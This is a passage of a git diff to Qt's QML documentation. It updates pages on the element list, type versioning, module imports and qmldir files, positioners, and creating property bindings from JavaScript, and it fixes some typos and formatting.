+\endlist
+
+\section1 Utility
+\list
+\o \l {Connections} - Explicitly connects signals and signal handlers
+\o \l {Timer} - Provides timed triggers
+\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt.
+\o \l {WorkerScript} - Enables the use of threads in QML
+\o \l {Loader} - Controls the loading of items or components
+\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts
+\endlist
+
+\section1 Graphical Effects
+\list
+\o \l {Particles} - Generates and animates particles
+\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles}
+\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles}
+\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles}
+\endlist
+
+\section1 Add-On Elements
+These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings
+should first be obtained and installed.
+\list
+\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\endlist
+
 */
 
 
@@ -148,7 +191,7 @@
     \group qml-groups
     \title Groups Of Related QML Elements
 
-    \brief If you know what kind of QML element you want (Basic Visual, 
+    \brief If you know what kind of QML element you want (Basic Visual,
     Interaction, Animation, etc), look here.
 
     This is a list of functional groups of QML elements.
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
index 7b8cb5e..27c8f58 100644
--- a/doc/src/declarative/example-slideswitch.qdoc
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state.
 In this example:
 
 \qml
-Switch { id: mySwitch; on: true }
-Text { text: "The switch is on"; visible: mySwitch.on == true }
+Item {
+    Switch {
+        id: mySwitch
+        on: true
+    }
+    Text {
+        text: "The switch is on"
+        visible: mySwitch.on == true
+    }
+}
 \endqml
 
 the text will only be visible when the switch is on.
diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc
index e03557b..be2d0c7 100644
--- a/doc/src/declarative/examples.qdoc
+++ b/doc/src/declarative/examples.qdoc
@@ -136,7 +136,8 @@ The examples can be found in Qt's \c examples/declarative directory.
 
 \section2 Positioners
 \list
-\o \l{declarative/positioners}{Example}
+\o \l{declarative/positioners/addandremove}{Adding and Removing Items}
+\o \l{declarative/positioners/layoutdirection}{Layout Direction}
 \endlist
 
 \section2 Key Interaction
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
index 8705c5b..a287533 100644
--- a/doc/src/declarative/extending.qdoc
+++ b/doc/src/declarative/extending.qdoc
@@ -112,6 +112,75 @@ Person {
 \l {Extending QML - Adding Types Example} shows the complete code used to create
 the \c Person type.
 
+\section1 QML Type Versioning
+
+In C++ adding a new method or property cannot break old applications.
+In QML, however, new methods and properties can change what a name previously
+resolved to to within a scope chain.
+
+For example, consider these two QML files
+
+\code
+// main.qml
+import QtQuick 1.0
+Item {
+    id: root
+    MyComponent {}
+}
+\endcode
+
+\code
+// MyComponent.qml
+import MyModule 1.0
+CppItem {
+    value: root.x
+}
+\endcode
+
+where CppItem maps to the C++ class QCppItem.
+
+If the author of QCppItem adds a "root" property to QCppItem in a new version of the module, 
+it will break the above program as \c root.x now resolves to a different value.
+The solution is to allow the author of QCppItem to state that the new \c root property is 
+only available from a particular version of QCppItem onwards. This permits new properties
+and features to be added to existing elements without breaking existing programs. 
+
+QML enables this by allowing the properties, methods and signals of a class to be tagged with
+a particular \e revision, so that they are only accessible if the relevant module version
+is imported.  In this case, the author can tag the \c root property as being added in
+\e {revision 1} of the class, and register that revision in version 1.1 of the module.
+
+The REVISION tag is used to mark the \c root property as added in revision 1 of the class.
+Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a
+revision using the \c Q_REVISION(x) macro:
+
+\code
+class CppItem : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
+
+signals:
+    Q_REVISION(1) void rootChanged();
+};
+\endcode
+
+To register the new class revision to a particular version the following function is used:
+
+\code
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+To register \c CppItem version 1 for \c {MyModule 1.1}:
+
+\code
+qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem")
+\endcode
+
+\c root is only available when MyModule 1.1 is imported.
+
+
 \section1 Object and List Property Types
 
 \snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
@@ -733,12 +802,14 @@ It is optional for a property to have a default value. The default value is a co
 behaviorally identical to doing it in two steps, like this:
 
 \qml
-// Use default value
-property int myProperty: 10
+Item {
+    // Use default value
+    property int myProperty: 10
 
-// Longer, but behaviorally identical
-property int myProperty
-myProperty: 10
+    // Longer, but behaviorally identical
+    property int myProperty
+    myProperty: 10
+}
 \endqml
 
 
@@ -769,9 +840,11 @@ QML object types can also be used as property types. This includes
 defined like this:
 
 \qml
-property Item itemProperty
-property QtObject objectProperty
-property MyCustomType customProperty
+Item {
+    property Item itemProperty
+    property QtObject objectProperty
+    property MyCustomType customProperty
+}
 \endqml
 
 Such object-type properties default to an \c undefined value.
@@ -784,7 +857,9 @@ see the \l {variant}{variant type documentation} for details.
 list:
 
 \qml
-property list<Item> listOfItems
+Item {
+    property list<Item> listOfItems
+}
 \endqml
 
 Note that list properties cannot be modified like ordinary JavaScript
@@ -825,7 +900,7 @@ If the \l{Item::children}{children} property was not the default property for
 \qml
 Item {
     children: [
-        Rectangle {}
+        Rectangle {},
         Rectangle {}
     ]
 }
@@ -1075,7 +1150,7 @@ code removes the connection created in \c application.qml above:
 \qml
 // application.qml
 Item {
-    ...
+    // ...
 
     function removeSignal() {
         button.clicked.disconnect(item.myMethod)
@@ -1100,5 +1175,4 @@ MouseArea {
 
 Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will
 automatically be emitted as well.
-
 */
diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
index 8671b48..85a3a25 100644
--- a/doc/src/declarative/globalobject.qdoc
+++ b/doc/src/declarative/globalobject.qdoc
@@ -48,7 +48,7 @@ data from over a network.
 The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
 as many popular web browsers with following exceptions:
 \list
-\i QML's XMLHttpRequest does not enforce the same origin policty.
+\i QML's XMLHttpRequest does not enforce the same origin policy.
 \i QML's XMLHttpRequest does not support \e synchronous requests.
 \endlist
 
@@ -77,7 +77,7 @@ browser.  The following objects and properties are supported by the QML implemen
 \o lastChild
 \o previousSibling
 \o nextSibling
-\o attribtes
+\o attributes
 \endlist
 
 \o 
@@ -141,8 +141,9 @@ using the Offline Storage API.
 \section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
 
 Returns the database identified by \e identifier. If the database does not already exist, it
-is created with the properties \e description and \e estimated_size and the function \e callback
-is called with the database as a parameter.
+is created, and the function \e callback is called with the database as a parameter. \e description
+and \e estimated_size are written to the INI file (described below), but are otherwise currently
+unused.
 
 May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
 
@@ -153,7 +154,7 @@ When a database is first created, an INI file is also created specifying its cha
 \row \o Name \o The name of the database passed to \c openDatabase()
 \row \o Version \o The version of the database passed to \c openDatabase()
 \row \o Description \o The description of the database passed to \c openDatabase()
-\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase()
+\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase()
 \row \o Driver \o Currently "QSQLITE"
 \endtable
 
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
index d221205..65877f9 100644
--- a/doc/src/declarative/javascriptblocks.qdoc
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -200,37 +200,12 @@ Likewise, the \l {Component::onDestruction} attached property is triggered on
 component destruction.
 
 
-\section1 Property Assignment vs Property Binding
+\section1 JavaScript and Property Binding
 
-When working with both QML and JavaScript, it is important to differentiate between
-QML \l {Property Binding} and JavaScript value assignment. In QML, a property 
-binding is created using the \e {property: value} syntax:
+Property bindings can be created in JavaScript by assigning the property with a \c function
+that returns the required value.
 
-\code
-Rectangle {
-    width: otherItem.width
-}
-\endcode
-
-The \c width of the above \l Rectangle is updated whenever \c otherItem.width changes. On the other
-hand, take the following JavaScript code snippet, that runs when the \l Rectangle is created:
-
-\code
-Rectangle {
-
-    Component.onCompleted: {
-        width = otherItem.width;
-    }
-}
-\endcode
-
-The \c width of this \l Rectangle is \e assigned the value of \c otherItem.width using the
-\e {property = value} syntax in JavaScript. Unlike the QML \e {property: value} syntax, this
-does not invoke QML property binding; the \c rectangle.width property is set to the value
-of \c otherItem.width at the time of the assignment and will not be updated if that value
-changes.
-
-See \l {Property Binding} for more information.
+See \l {Binding Properties from JavaScript} for details.
 
 
 \section1 Receiving QML Signals in JavaScript
@@ -315,10 +290,13 @@ This restriction exists as the QML environment is not yet fully established.
 To run code after the environment setup has completed, refer to
 \l {Running JavaScript at Startup}.
 
-\o The value of \c this is currently undefined in QML
+\o The value of \c this is currently undefined in QML in the majority of contexts
+
+The \c this keyword is supported when \l {Binding Properties from JavaScript}
+{binding properties from JavaScript}. In all other situations, the value of
+\c this is undefined in QML.
 
-The value of \c this is undefined in QML.  To refer to any element, provide
-an \c id.  For example:
+To refer to any element, provide an \c id.  For example:
 
 \qml
 Item {
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index 1dca28c..f1ebd00 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -44,7 +44,7 @@ example, an \c import statement is required to use:
 \list
 \o A component defined in another QML file that is not in the same directory
 \o A component defined in a QML file located on a remote server
-\o A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} library (unless the plugin is installed in the same directory)
+\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory)
 \o A JavaScript file (note this must be imported using \l {#namespaces}{named imports})
 \endlist
 
@@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
 This can be seen in the snippet commonly found at the top of QML files:
 
 \qml
-    import QtQuick 1.0
+import QtQuick 1.0
 \endqml
 
 This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
@@ -61,12 +61,12 @@ are not included in the global namespace by default.)
 
 The \c Qt module is an \e installed module; it is found in the
 \l{The QML import path}{import path}. There are two types of QML modules:
-location modules (defined by a URL) and installed modules (defined by a URI).
+located modules (defined by a URL) and installed modules (defined by a URI).
 
 
-\section1 Location Modules
+\section1 Located Modules
 
-Location modules can reside on the local filesystem or a network resource,
+Located modules can reside on the local filesystem or a network resource,
 and are referred to by a quoted location URL that specifies the filesystem
 or network URL. They allow any directory with QML content to be imported
 as a module, whether the directory is on the local filesystem or a remote
@@ -86,8 +86,9 @@ directory using a relative or absolute path, like this:
 \code
 MyQMLProject
     |- MyComponents
-        |- Slider.qml
         |- CheckBox.qml
+        |- Slider.qml
+        |- Window.qml
     |- Main
         |- application.qml
 \endcode
@@ -96,8 +97,10 @@ MyQMLProject
 \code
 import "../MyComponents"
 
-Slider { ... }
-CheckBox { ... }
+Window {
+    Slider { ... }
+    CheckBox { ... }
+}
 \endcode
 
 \endtable
@@ -106,23 +109,51 @@ Similarly, if the directory resided on a network source, it could
 be imported like this:
 
 \code
-    import "https://qml.nokia.com/qml/qmlcomponents"
-    import "https://qml.nokia.com/qml/qmlcomponents" 1.0
+    import "http://www.my-server.com/MyQMLProject/MyComponents"
+    import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0
+\endcode
+
+A located module can also be imported as a network resource if it has a
+\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files
+to be made available by the module. For example, if the \c MyComponents directory
+contained a \c qmldir file defined like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
 \endcode
 
-Remote location modules must have a \l{Writing a qmldir file}{qmldir file} in the
-same directory to specify which QML files should be made available. See the
-\l {#qmldirexample}{example} below. The qmldir file is optional for modules on
-the local filesystem.
+If the \c MyComponents directory was then hosted as a network resource, it could
+be imported as a module, like this:
+
+\code
+import "http://the-server-name.com/MyQMLProject/MyComponents"
+
+Window {
+    Slider { ... }
+    CheckBox { ... }
+}
+\endcode
+
+with an optional "1.0" version specification. Notice the import would fail if
+a later version was used, as the \c qmldir file specifies that these elements
+are only available in the 1.0 version.
 
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
 
 
 \section1 Installed modules
 
+Installed modules are modules that are made available through the QML import path,
+as defined by QDeclarativeEngine::importPathList(), or modules defined within
+C++ application code. An installed module is referred to by a URI, which allows
+the module to be imported from QML code without specifying a complete filesystem
+path or network resource URL.
 
-Installed modules are modules that are installed on the
-local filesystem within the QML import path, or modules defined in C++
-application code. When importing an installed module, an un-quoted URI is
+When importing an installed module, an un-quoted URI is
 used, with a mandatory version number:
 
 \code
@@ -130,15 +161,23 @@ used, with a mandatory version number:
     import com.nokia.qml.mymodule 1.0
 \endcode
 
-Installed modules that are installed into the import path or created
-as a \l{QDeclarativeExtensionPlugin}{QML C++ plugin} must define a
-\l{Writing a qmldir file}{qmldir file}.
+When a module is imported, the QML engine searches the QML import path for a matching
+module. The root directory of the module must contain a
+\l{Writing a qmldir file}{qmldir file} that defines the QML files
+and/or C++ QML extension plugins that are made available to the module.
 
+Modules that are installed into the import path translate the URI into
+directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule
+must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the
+QML import path. In addition it is possible to store different versions of the
+module in subdirectories of its own. For example, a version 2.1 of the
+module could be located under \c com/nokia/qml/mymodule.2/qmldir or
+\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load
+the module which matches best.
 
-\section2 The QML import path
-
-The QML engine will search the import path for a requested installed module.
-The default import path includes:
+The import path, as returned by QDeclarativeEngine::importPathList(), defines the default
+locations to be searched by the QML engine for a matching module. By default, this list
+contains:
 
 \list
 \o The directory of the current file
@@ -146,30 +185,80 @@ The default import path includes:
 \o Paths specified by the \c QML_IMPORT_PATH environment variable
 \endlist
 
-The import path can be queried using QDeclarativeEngine::importPathList() and modified using QDeclarativeEngine::addImportPath().
+Additional import paths can be added through QDeclarativeEngine::addImportPath() or the
+\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you
+can also use the \c -I option to add an import path.
+
+
+\section2 Creating installed modules
+
+As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example}
+was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents
+subdirectory could be made available as an installed module by adding a
+\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously,
+a QML file located anywhere on the local filesystem can then import the module as shown below,
+without referring to the module's absolute filesystem location:
+
+\qml
+import projects.MyQMLProject.MyComponents 1.0
+
+Window {
+    Slider { ... }
+    CheckBox { ... }
+}
+\endqml
+
+Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted
+as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above
+QML code would work just the same.
 
-When running the \l {QML Viewer}, use the \c -I option to add paths to the import path.
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
 
 
 \section2 Creating installed modules in C++
 
-C++ applications can dynamically define installed modules using
-qmlRegisterType().
+C++ applications can define installed modules directly within the application using qmlRegisterType().
+For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial}
+defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType():
+
+\qml
+qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+\endqml
 
-For \l{QDeclarativeExtensionPlugin}{QML C++ plugins}, the
-module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes().
-The QDeclarativeExtensionPlugin documentation shows how to use this URI
-to call qmlRegisterType() to enable the plugin library to be built as
-an installed module. Once the plugin is built and installed, the module is importable
-in QML, like this:
+This allows the application's QML files to use the \c PieChart type by importing the declared
+\c Charts module:
+
+\qml
+import Charts 1.0
+\endqml
+
+For \l{QDeclarativeExtensionPlugin}{QML plugins}, the
+module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method
+can be reimplemented by the developer to register the necessary types for the module. Below is the
+\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins}
+example:
+
+\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+
+Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file},
+the module can be imported from QML, like this:
 
 \code
 import com.nokia.TimeExample 1.0
 \endcode
 
-A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} also requires a
-\l{Writing a qmldir file}{qmldir file} to make it available to the
-QML engine.
+Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by
+a module that is imported as a network resource.
 
 
 
@@ -224,7 +313,7 @@ Unlike ordinary modules, multiple scripts cannot be imported into the same names
 
 A \c qmldir file is a metadata file for a module that maps all type names in
 the module to versioned QML files. It is required for installed modules, and
-location modules that are loaded from a network source.
+located modules that are loaded from a network source.
 
 It is defined by a plain text file named "qmldir" that contains one or more lines of the form:
 
@@ -274,37 +363,6 @@ containing the plugin file. By default the engine searches for the plugin librar
 file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path.
 
 
-\target qmldirexample
-\section2 Example
-
-If the components in the \c MyComponents directory from the
-\l{Location Modules}{earlier example} were to be made available as a network resource,
-the directory would need to contain a \c qmldir file similar to this:
-
-\code
-ComponentA 1.0 ComponentA.qml
-ComponentB 1.0 ComponentB.qml
-\endcode
-
-The \c MyComponents directory could then be imported as a module using:
-
-\code
-import "http://the-server-name.com/MyComponents"
-
-Slider { ... }
-CheckBox { ... }
-\endcode
-
-with an optional "1.0" version specification. Notice the import fails if
-a later version is used, as the \c qmldir file specifies that these elements
-are only available in the 1.0 version.
-
-
-For examples of \c qmldir files for plugins, see the
-\l {declarative/cppextensions/plugins}{Plugins} example and
-\l {Tutorial: Writing QML extensions with C++}.
-
-
 \section1 Debugging
 
 The \c QML_IMPORT_TRACE environment variable can be useful for debugging
diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc
index 387f390..5493d4a 100644
--- a/doc/src/declarative/positioners.qdoc
+++ b/doc/src/declarative/positioners.qdoc
@@ -53,9 +53,9 @@ graphical elements:
 
 \section2 Column
 
-\beginfloatright
-\image qml-column.png
-\endfloat
+\div{float-right}
+\inlineimage qml-column.png
+\enddiv
 
 \l Column items are used to vertically arrange items. The following example
 uses a Column item to arrange three \l Rectangle items in an area defined
@@ -70,9 +70,9 @@ must be added to a parent Rectangle, if desired.
 
 \section2 Row
 
-\beginfloatright
-\image qml-row.png
-\endfloat
+\div{float-right}
+\inlineimage qml-row.png
+\enddiv
 
 \l Row items are used to horizontally arrange items. The following example
 uses a Row item to arrange three rounded \l Rectangle items in an area defined
@@ -87,9 +87,9 @@ left around the edges of the horizontally centered Row item.
 
 \section2 Grid
 
-\beginfloatright
-\image qml-grid-spacing.png
-\endfloat
+\div{float-right}
+\inlineimage qml-grid-spacing.png
+\enddiv
 
 \l Grid items are used to place items in a grid or table arrangement.
 The following example uses a Grid item to place four \l Rectangle items
@@ -108,10 +108,10 @@ at the appropriate places in the Grid definition.
 
 \section2 Flow
 
-\beginfloatright
-\image qml-flow-text1.png
-\image qml-flow-text2.png
-\endfloat
+\div{float-right}
+\inlineimage qml-flow-text1.png
+\inlineimage qml-flow-text2.png
+\enddiv
 
 \l Flow items are used to place items like words on a page, with rows or
 columns of non-overlapping items.
@@ -137,9 +137,9 @@ control of spacing between items and between lines of items.
 
 \section1 Repeaters
 
-\beginfloatright
-\image qml-repeater-grid-index.png
-\endfloat
+\div{float-right}
+\inlineimage qml-repeater-grid-index.png
+\enddiv
 
 Repeaters create items from a template for use with positioners, using data
 from a model. Combining repeaters and positioners is an easy way to lay out
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 2fa95d4..379a4ec 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -95,44 +95,109 @@ Rectangle {
 \endcode
 
 
-\section1 Effects of Property Assignment in JavaScript
+\section1 Binding Properties from JavaScript
 
-Assigning a property value from JavaScript does \e not create a property binding.
-For example:
+When working with both QML and JavaScript, it is important to differentiate between
+\l {Property Binding} syntax in QML and simple \e {property assignment} in JavaScript. Take
+the example below, which uses property binding to ensure the item's \c height is always twice
+its \c width:
+
+\qml
+Item {
+    width: 100
+    height: width * 2
+}
+\endqml
+
+On the other hand, take the following JavaScript code snippet, which \e assigns, rather
+than \e binds, the value of the \c height property:
 
 \code
-Rectangle {
+Item {
+    width: 100
 
     Component.onCompleted: {
-        width = otherItem.width;
+        height = width * 2  // if width changes later, height is not updated!
     }
 }
 \endcode
 
-Instead of creating a property binding, this simply sets the \c width of the \l Rectangle
-to the value of \c other.width at the time the JavaScript code is invoked.  See 
-\l {Property Assignment vs Property Binding} for more details.
+Instead of creating a property binding, this simply sets the \c height property to the correct
+value \e {at the time that} the JavaScript code is invoked. Unlike the first example, the
+\c height will never change if \c width changes.
+
+The \e {property : value} syntax for property binding is QML-specific and cannot be used in
+JavaScript. Instead, to bind a property from JavaScript, assign a \e function to the property
+that returns the required value. The following code correctly sets the property binding
+created in the first example, but creates the binding in JavaScript rather than QML:
+
+\qml
+Item {
+    width: 100
+
+    Component.onCompleted: {
+        height = (function() { return width * 2 })
+    }
+}
+\endqml
+
+
+\section2 Using \c this to create a binding
+
+When creating a property binding from JavaScript, QML allows the use of the \c this keyword to
+refer to the object to which the property binding will be assigned. This allows one to
+explicitly refer to a property within an object when there may be ambiguity about the exact
+property that should be used for the binding.
 
-Also note that assigning a value to a property that is currently bound will remove the binding.
-A property can only have one value at a time, and if any code explicitly sets
-this value, the binding is removed.  The \l Rectangle in the example below will have
-a width of 13, regardless of the \c otherItem's width.
+For example, the \c Component.onCompleted handler below is defined within the scope of the
+\l Item, and references to \c width within this scope would refer to the \l Item's width, rather
+than that of the \l Rectangle. To bind the \l Rectangle's \c height to its own \c width, the
+function needs to explicitly refer to \c this.width rather than just \c width. Otherwise, the
+height of the \l Rectangle would be bound to the width of the \l Item and not the \l Rectangle.
+
+\qml
+Item {
+    width: 500
+    height: 500
+
+    Rectangle {
+        id: rect
+        width: 100
+        color: "yellow"
+    }
+
+    Component.onCompleted: {
+        rect.height = (function() { return this.width * 2 })
+    }
+}
+\endqml
+
+(In this case, the function could also have referred to \c rect.width rather than \c this.width.)
+
+Note that the value of \c this is not defined outside of its use in property binding.
+See \l {QML JavaScript Restrictions} for details.
+
+
+\section2 Effects of property assignment
+
+Note that assigning a value to a property that is currently bound will remove the binding.
+A property can only have one value at a time, and if any code explicitly sets this value, the
+binding is removed. In the following example, although \c width has been bound to \c height,
+the binding is removed by the JavaScript code that assigns \c width to 50:
 
 \code
-Rectangle {
-    width: otherItem.width
+Item {
+    width: height * 2
+    height: 100
 
     Component.onCompleted: {
-        width = 13;
+        width = 50;
     }
 }
 \endcode
 
-There is no way to create a property binding directly from imperative JavaScript code,
-although it is possible to set up a \l Binding object (shown below).
-
 
-\section1 Binding Element
+\section1 The Binding Element
 
 The implicit binding syntax shown previously is easy to use and works perfectly for most uses
 of bindings.  In some advanced cases, it is necessary to create bindings explicitly using the 
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 61241c5..02692de 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -27,7 +27,7 @@
 
 /*!
 \page qdeclarativeintroduction.html
-\title Introduction to the QML language
+\title Introduction to the QML Language
 
 \tableofcontents
 
@@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required.
 
 QML looks like this:
 
-\code
+\qml
 import QtQuick 1.0
 
 Rectangle {
@@ -58,7 +58,7 @@ Rectangle {
         anchors.centerIn: parent
     }
 }
-\endcode
+\endqml
 
 Here we create two objects, a \l Rectangle object and its child
 \l Image object. Objects are specified by their type, followed by a pair of
@@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon.
 
 Properties can be specified one-per-line:
 
-\code
+\qml
 Rectangle {
     width: 100
     height: 100
 }
-\endcode
+\endqml
 
 or you can put multiple properties on a single line:
 
-\code
+\qml
 Rectangle { width: 100; height: 100 }
-\endcode
+\endqml
 
 When multiple property/value pairs are specified on a single line, they
 must be separated by a semicolon.
@@ -92,7 +92,6 @@ standard \l {QML Elements}. Without this import statement, the \l Rectangle
 and \l Image elements would not be available.
 
 
-
 \section1 Comments
 
 Commenting in QML is similar to JavaScript.
@@ -110,19 +109,19 @@ your QML files.
 Comments can also be used to prevent the execution of code, which is
 sometimes useful for tracking down problems.
 
-\code
+\qml
 Text {
     text: "Hello world!"
     //opacity: 0.5
 }
-\endcode
+\endqml
 
 In the above example, the \l Text object will have normal opacity, since the
 line opacity: 0.5 has been turned into a comment.
 
 
 
-\section1 Object identifiers
+\section1 Object Identifiers
 
 Each object can be given a special \e id value that allows the object to be identified
 and referred to by other objects.
@@ -161,19 +160,19 @@ characters other than letters, numbers and underscores.
 
 JavaScript expressions can be used to assign property values. For example:
 
-\code
+\qml
 Item {
     width: 100 * 3
     height: 50 + 22
 }
-\endcode
+\endqml
 
 These expressions can include references to other objects and properties, in which case
 a \l{Property Binding}{binding} is established: when the value of the expression changes,
 the property to which the expression is assigned is automatically updated to the
 new value. For example:
 
-\code
+\qml
 Item {
     width: 300
     height: 300
@@ -184,7 +183,7 @@ Item {
         color: "yellow"
     }
 }
-\endcode
+\endqml
 
 Here, the \l Rectangle object's \c width property is set relative to the width
 of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
@@ -195,19 +194,19 @@ automatically updated.
 \section1 Properties
 \target intro-properties
 
-\section2 Basic property types
+\section2 Basic Property Types
 
 QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
 \c real, \c bool, \c string and \c color.
 
-\code
+\qml
 Item {
     x: 10.5             // a 'real' property
     state: "details"    // a 'string' property
     focus: true         // a 'bool' property
-    ...
+    // ...
 }
-\endcode
+\endqml
 
 QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
 matches the property type. For example, the \c x property of item is a real, and if you try to assign
@@ -223,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
 letter.
 
 
-\section2 Property change notifications
+\section2 Property Change Notifications
 
 When a property changes value, it can send a signal to notify others of this change.
 
@@ -249,52 +248,52 @@ Signal handlers are explained further \l {Signal Handlers}{below}.
 
 List properties look like this:
 
-\code
+\qml
 Item {
     children: [
         Image {},
         Text {}
     ]
 }
-\endcode
+\endqml
 
 The list is enclosed in square brackets, with a comma separating the
 list elements. In cases where you are only assigning a single item to a
 list, you can omit the square brackets:
 
-\code
+\qml
 Image {
     children: Rectangle {}
 }
-\endcode
+\endqml
 
 Items in the list can be accessed by index. See the \l{list}{list type} documentation
 for more details about list properties and their available operations.
 
 
-\section2 Default properties
+\section2 Default Properties
 
 Each object type can specify one of its list or object properties as its default property.
 If a property has been declared as the default property, the property tag can be omitted.
 
 For example this code:
-\code
+\qml
 State {
     changes: [
         PropertyChanges {},
         PropertyChanges {}
     ]
 }
-\endcode
+\endqml
 
 can be simplified to:
 
-\code
+\qml
 State {
     PropertyChanges {}
     PropertyChanges {}
 }
-\endcode
+\endqml
 
 because \c changes is the default property of the \c State type.
 
@@ -331,7 +330,7 @@ element that attaches \e property.
 For example, the \l ListView element attaches the \e ListView.isCurrentItem property
 to each delegate it creates:
 
-\code
+\qml
 Component {
     id: myDelegate
     Text {
@@ -339,21 +338,24 @@ Component {
         color: ListView.isCurrentItem ? "red" : "blue"
     }
 }
+\endqml
+
+\qml
 ListView {
     delegate: myDelegate
 }
-\endcode
+\endqml
 
 Another example of attached properties is the \l Keys element which
 attaches properties for handling key presses to
 any visual Item, for example:
 
-\code
+\qml
 Item {
     focus: true
     Keys.onSelectPressed: console.log("Selected")
 }
-\endcode
+\endqml
 
 \section1 Signal Handlers
 
@@ -362,7 +364,7 @@ example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler tha
 be used to respond to a mouse click. Below, we use this handler to print a
 message whenever the mouse is clicked:
 
-\code
+\qml
 Item {
     width: 100; height: 100
 
@@ -373,7 +375,7 @@ Item {
         }
     }
 }
-\endcode
+\endqml
 
 All signal handlers begin with \e "on".
 
@@ -382,7 +384,7 @@ the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter
 that contains information about the mouse press. This parameter can be referred to in
 the JavaScript code, as below:
 
-\code
+\qml
 MouseArea {
     acceptedButtons: Qt.LeftButton | Qt.RightButton
     onPressed: {
@@ -390,7 +392,5 @@ MouseArea {
             console.log("Right mouse button pressed")
     }
 }
-\endcode
-
-
+\endqml
 */
diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc
index 0b4b67d..9409eaf 100644
--- a/doc/src/declarative/qdeclarativemodels.qdoc
